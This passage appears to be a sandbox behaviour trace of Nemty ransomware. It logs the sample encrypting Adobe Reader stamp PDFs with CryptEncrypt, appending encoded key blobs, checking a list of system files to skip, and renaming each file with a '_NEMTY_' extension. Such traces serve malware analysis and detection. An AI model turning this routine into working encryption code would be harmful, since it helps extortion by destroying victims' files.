lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0187.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hanko.pdf", lpUsedDefaultChar=0x0) returned 9 [0187.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0187.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0187.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340250 [0187.408] Sleep (dwMilliseconds=0x5) [0187.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x235b0bf0, dwHighDateTime=0x1d561e8)) [0187.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x235b0bf0, dwHighDateTime=0x1d561e8)) [0187.416] GetLastError () returned 0x0 [0187.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.416] GetLastError () returned 0x0 [0187.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.416] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.417] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.417] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0187.417] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="4BVRt8THzvCR2+7WsWGeHaZbliZdMDc9XXa7HZJWi6HDJUDHS887vPN3v2aF0SsW\r\nULxgP7izfvvfa3N8PEKHPF4ujtVSraUjgsOLae4Doz8FkaE8QkspF4A9dDcaIDoL\r\nGH8Jj/bgLZHUhjrhwYP+ilqsqHNHMfaADDDCtABhmb5TyQaIUaFPio/hT3dwwesF\r\nU2MPstrPRn8+/cZvYBdNSnxeV2Z0f5r/u+L04O7CCfSgXNTQPzpncYyihvMhTvRQ\r\nbSHnDQOFWpGe04XT4tl2UXX+UEdPl56WgSzeLr8p9Ig1HIDh0nyMn4J7dqvQ6J5T\r\nHuC5V8m8CBfqj6YGlDJmdg==\r\n", pcchString=0x653df5c) returned 1 [0187.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0187.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.417] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\hanko.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.418] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=44944) returned 1 [0187.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xaf90) returned 0x6352c48 [0187.418] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.418] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xaf90, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xaf90, lpOverlapped=0x0) returned 1 [0187.422] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.422] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xaf90, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xaf90, lpOverlapped=0x0) returned 1 [0187.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.423] SetFilePointer (in: hFile=0x320, lDistanceToMove=44944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xaf90 [0187.423] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.423] CloseHandle (hObject=0x320) returned 1 [0187.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340318 [0187.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0187.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0187.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0187.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.423] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\hanko.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Hanko.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\hanko.pdf._nemty_kgobjgd_")) returned 1 [0187.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0187.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340318 | out: hHeap=0x4f90000) returned 1 [0187.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0187.424] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc0af, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0187.424] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0187.424] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0187.424] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0187.424] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0187.424] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.424] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0187.424] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0187.424] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0187.424] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0187.424] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0187.424] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0187.424] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0187.424] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.424] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0187.424] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0187.425] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0187.425] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0187.425] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.425] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0187.425] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0187.425] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0187.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340250 [0187.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340318 [0187.425] Sleep (dwMilliseconds=0x5) [0187.432] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x235d6d50, dwHighDateTime=0x1d561e8)) [0187.432] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x235d6d50, dwHighDateTime=0x1d561e8)) [0187.432] GetLastError () returned 0x0 [0187.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.432] GetLastError () returned 0x0 [0187.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.432] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.432] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.433] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0187.433] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="BPMpklrPf7fFXorWuXxaM0P6Y0azrxlJJJXA/jOGNicx06SAJY5dpvsRv+nQBunW\r\nQCKRDCUtNXxL3BlAeI116N8lBHqBdFJLdaCQU26asrzCmCFDuVn8kMzbG96/X88h\r\nPZu9OkaxMmRPY5DRhaFVkKzIR6DM4hArKRzn/SOGII52ctP0ZIFCrHHji2rardrW\r\ntxJdDtMmdUoPl5vW/nhGwU4woDYs1zUTcb0t1E0HODKmEqSSj3FkqlFUIWL9Q6ym\r\nL/mSfPjWTkElpdZdn3xniTL/MjM6FRJw9LWo7ZdSPOIIvG67/fOnqm3yK0M6YUc7\r\ns/OhSeKJR+VBluSMNubhVw==\r\n", pcchString=0x653df5c) returned 1 [0187.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0187.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.433] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.433] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=49327) returned 1 [0187.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0a0) returned 0x6352c48 [0187.433] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.433] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xc0a0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xc0a0, lpOverlapped=0x0) returned 1 [0187.466] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.466] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xc0a0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xc0a0, lpOverlapped=0x0) returned 1 [0187.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.466] SetFilePointer (in: hFile=0x320, lDistanceToMove=49327, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc0af [0187.466] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.467] CloseHandle (hObject=0x320) returned 1 [0187.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344158 [0187.467] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.467] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0187.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0187.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0187.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.467] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0187.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0187.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0187.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340318 | out: hHeap=0x4f90000) returned 1 [0187.468] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x217ce, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0187.468] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0187.468] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0187.468] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0187.468] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0187.468] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.468] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0187.468] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0187.468] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0187.468] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0187.468] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0187.468] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0187.468] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0187.468] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.468] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0187.468] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0187.468] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0187.468] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0187.468] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.468] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0187.468] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0187.468] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0187.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0187.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0187.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0187.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0187.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0187.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 